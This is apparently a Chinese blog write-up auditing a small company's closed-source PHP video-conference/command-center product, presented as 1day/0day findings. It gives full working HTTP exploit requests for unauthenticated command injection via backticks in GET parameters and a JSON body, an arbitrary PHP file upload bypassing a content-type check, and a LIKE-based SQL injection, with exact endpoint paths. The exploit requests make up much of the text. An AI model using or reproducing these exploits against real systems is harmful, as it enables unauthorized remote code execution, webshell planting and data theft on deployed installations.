前言
代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是某指挥中心公司,闭源的代码写的是真的非常粗糙,非常好审计,简单带过下
审计
命令执行
RCE1
危险函数的搜索(故审计上传 sql RCE 即可)
在搜索eval(
的时候发现了\app\exec\exec.php
存在可控点
原本以为能够直接RCE的,但是发现在开头的时候存在以下代码
1
| require_once "includes/checkauth.php";
|
那么一看其实就是一个鉴权代码,那么于是我就跑了一遍未授权的php文件,发现/api
/custom
/app部分
都是不鉴权的(自己开发的没啥价值就不公开了)
于是就是从这个未授权的php文件中查找(就查找危险函数的时候看看目录在不在这里头就行)
tips: 这里有个要注意的点,就是PHP
代码尽量用seay
其实感觉PHPSTORM
有时候搜索的真的会遗漏比如这次的搜索 exec
跟 exec
这两个搜索到的结果是不同的,我直接搜索exec
是不会有真正存在漏洞的函数的(我也不知道为啥)
又因为寻找未授权的php文件中我发现大量在api
目录下的php文件都是未授权的,所以就去看了\api\client\invite2videoconf.php
找到cmd_async
方法发现是默认调用的
如果我们可以控制$conf_cmd
就可以达到RCE的效果
跟进后发现
1
| $conf_cmd = "bgapi sched_api +".$sched_seconds." none bgapi originate {rtp_force_video_fmtp='profile-level-id=428016;max-mbps=20250;max-fs=1200',effective_caller_id_name=$effective_name,absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU:H264,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$bridge_array[0] $conference_number xml default";
|
那也就是找$sched_seconds
$effective_name
$conference_number
$conference_number
$bridge_array
变量哪些是可控的
我们可以发现这个$conference_number
是可以通过GET
直接传入
1
| $conference_number=$_GET['roomid'];
|
但是这里前提还是需要进入到$conf_cmd
所在的循环,所以我们打个断点试试(断点起不来,只能硬看了)
查看判断逻辑,发现只有一个地方我们可以控制的,其他的都是我们的服务端(也就是说,能不能成功,就看服务器能不能进入这个if判断逻辑了)那么我们唯一可控的就是$callee_number
这个参数了
从判断逻辑来看,他的数量不能够太多,所以我们只需要写一个参数即可
那么构造下payload试试(只需要加入一些能够命令执行的符号即可执行命令先(CTF太常见了))
1 2
| GET /api/client/invite2videoconf.php?callee=1&roomid=`ls>aaa.txt` HTTP/1.1 Host: {{Hostname}}
|
RCE2+3
这里就有点新颖的思路了,除了继续搜索exec
之外,这里我是直接搜索了cmd_async
函数,发现也非常多不同的文件名引用了并且后续写法大差不差(这其实也是审计中非常常见的一种方法,猜测开发的开发习惯来审计)
写法是一样的 都是通过GET
去传参然后执行一下并且没有鉴权
1 2 3 4 5
| GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1 Host: {{Hostname}}
GET /api/client/vmonitor.php?extension=1&calleeuuid=`id>1.txt` HTTP/1.1 Host: {{Hostname}}
|
RCE4
也是一样通过上述方法搜索到该文件 \restapi\restcontroler.php
这个文件下还是存在命令参数的拼接的,但是需要一些跟进逻辑
首先GET
得传request
进入if判断 也就是两个数组的事情,也就是exp中的?request=conference/mute_member
这里有个注意的点(傻呗冬夏跟我说这个点看了一晚上)
1
| $input = json_decode(file_get_contents('php://input'),true);
|
直接拼接可以使用反引号来进行执行命令
这里有两个注意要点
Content-Type: application/json
{"id":"ls>/tmp/333.txt"}
Json要双引号
报文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /restapi/restcontroler.php?request=conference/mute_member HTTP/1.1 Host: xxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Connection: close Content-Length: 0 Content-Type: application/json Origin: http://127.0.0.1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: ""
{"id":"`ls>/tmp/333.txt`"}
|
即可在tmp目录写入333.txt
任意文件上传
上传1
全局搜索了下move_uploaded_file(
感觉有点像后门的写法了\api\client\upload.php
在未授权的文件中我翻到了\custom\zx\upload.php
是未授权的
其实查看逻辑我们就可以发现,他仅仅只是对type
做了限制,并没有限制后缀,本地测试个demo即可看明白
1 2
| <?php var_dump($_FILES['file']['type']);
|
只要修改type
即可成功绕过限制了
给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| POST /api/client/upload.php HTTP/1.1 Host: xxx Content-Length: 300 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydug0EI1Kd1Yk6g3B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
------WebKitFormBoundarydug0EI1Kd1Yk6g3B Content-Disposition: form-data; name="ulfile"; filename="pf.php" Content-Type: image/jpg
<?php echo 1111;?> ------WebKitFormBoundarydug0EI1Kd1Yk6g3B Content-Disposition: form-data; name="submit"
鎻愪氦 ------WebKitFormBoundarydug0EI1Kd1Yk6g3B--
|
上传2
就不过多重复,这套源码,只要未授权,和鉴权type
都是任意文件上传(都非常多任意文件上传)
SQL注入
全局搜索select
发现很多地方都是直接拼接后直接进行sql查询 _query( $_sql );
并没有做过多的预编译操作
单引号报错了
再加个单引号就没有报错 ,证实是字符型,但是这里存在一个问题,请看截图
1
| ?usernumber=1'and/**/1=1--+
|
但是使用1=2竟然也回显成功了,emmm有点奇怪,所以我在这里尝试使用一些布尔或者延时都不成功
1
| ?usernumber=1'and/**/1=2--+
|
具体原理是啥存疑了,但是后面通过模糊查询找到(说到是 能不用注释符就不用,能直接闭合就直接闭合,这里必须用or 因为or了之后才会查询到东西)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GET /custom/zx/departments.php?usernumber=1'or+user()+like+'a% HTTP/1.1 Host: xxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Connection: close Origin: http://127.0.0.1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: ""
|